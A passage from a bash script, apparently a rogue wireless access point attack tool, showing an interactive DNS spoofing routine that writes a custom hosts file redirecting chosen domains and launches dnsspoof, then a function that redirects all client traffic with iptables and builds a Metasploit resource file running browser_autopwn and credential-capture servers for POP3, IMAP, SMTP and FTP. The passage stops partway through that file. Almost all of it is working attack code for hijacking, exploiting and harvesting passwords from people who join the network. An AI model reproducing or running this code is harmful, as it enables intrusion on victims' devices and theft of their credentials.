1) all addresses
2) use a custom hosts file"
read var
if [[ $var = 1 ]];then
echo -e "$info\nStarting DNS spoofing..."
Eterm -g 80x6-0+373 -f DarkOrchid4 --pointer-color "dark orange" -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -q -T "DNSspoof" -e dnsspoof -i at0 2> /dev/null &
elif [[ $var = 2 ]];then
echo -e "$q\nFor the hosts file
1) I will supply it
2) Let's make one"
read var
echo $var
if [[ $var = 1 ]];then
echo -e "$info\nEnter the absolute path to the file"
read dnspath
if [[ -z $dnspath ]];then
echo -e "$warn\nFile doesn't exist. Start again"
sleep 2
dns_fn
fi
elif [[ $var = 2 ]];then
echo -e "$info\nWe will now enter the address(es), one at a time.\ne.g. www.microsoft.com\nCan use wildcards e.g. ???.microsoft.*$warn\nEnter a blank to escape from the loop."
until [[ $var = "" ]];do # loops until blank entered
echo -e "$info\nEnter (next) address:\n(Enter a blank address to finish)"
read var
if [[ -n $var ]];then
echo "192.168.0.1 $var" >> /tmp/custom.hosts
fi
done
echo -e "$info\nHere is the file:\n"
cat /tmp/custom.hosts
echo -e "$info\nIf you don't like it, edit it directly (/tmp/custom.hosts)\nPress enter to continue."
read
dnspath=/tmp/custom.hosts
elif [[ $var != 1 && $var != 2 ]];then
echo -e "$warn\nBad choice. Start again"
sleep 2
dns_fn
fi
echo -e "$info\nStarting DNS spoofing..."
Eterm -g 80x6-0+373 --pointer-color "dark orange" -f DarkOrchid4 -b LightYellow1 --font-fx none --buttonbar 0 --scrollbar 0 -q -T "DNSspoof" -e dnsspoof -i at0 -f $dnspath 2> /dev/null &
elif [[ $var != 1 && $var != 2 ]];then
echo -e "$warn\nBad choice. Start again"
sleep 2
dns_fn
fi
}
# ~~~~~~~~~~ Karmetasploit ~~~~~~~~~~ #
# browser_autopwn may become deprecated soon
# it won't work against modern patched OS's
karmalaunch_fn()
{
iptables -t nat -A PREROUTING -i at0 -j REDIRECT
service apache2 stop # will interfere with metasploit's server
cat /dev/null > /tmp/karma.rc > /dev/null # clear pre-existing karma.rc
echo "use auxiliary/server/browser_autopwn" > /tmp/karma.rc
echo "setg AUTOPWN_HOST $ap_ip" >> /tmp/karma.rc
echo "setg AUTOPWN_PORT 55550" >> /tmp/karma.rc
echo "setg AUTOPWN_URI /ads" >> /tmp/karma.rc
echo "set LHOST $ap_ip" >> /tmp/karma.rc
echo "set LPORT 45000" >> /tmp/karma.rc
echo "set SRVPORT 55550" >> /tmp/karma.rc
echo "set URIPATH /ads" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
echo "use auxiliary/server/capture/pop3" >> /tmp/karma.rc
echo "set SRVPORT 110" >> /tmp/karma.rc
echo "set SSL false" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
echo "use auxiliary/server/capture/pop3" >> /tmp/karma.rc
echo "set SRVPORT 995" >> /tmp/karma.rc
echo "set SSL true" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
echo "use auxiliary/server/capture/ftp" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
echo "use auxiliary/server/capture/imap" >> /tmp/karma.rc
echo "set SSL false" >> /tmp/karma.rc
echo "set SRVPORT 143" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
echo "use auxiliary/server/capture/imap" >> /tmp/karma.rc
echo "set SSL true" >> /tmp/karma.rc
echo "set SRVPORT 993" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
echo "use auxiliary/server/capture/smtp" >> /tmp/karma.rc
echo "set SSL false" >> /tmp/karma.rc
echo "set SRVPORT 25" >> /tmp/karma.rc
echo "run" >> /tmp/karma.rc
echo "use auxiliary/server/capture/smtp" >> /tmp/karma.rc
echo "set SSL true" >> /tmp/karma.rc
echo "set SRVPORT 465" >> /tmp/karma.rc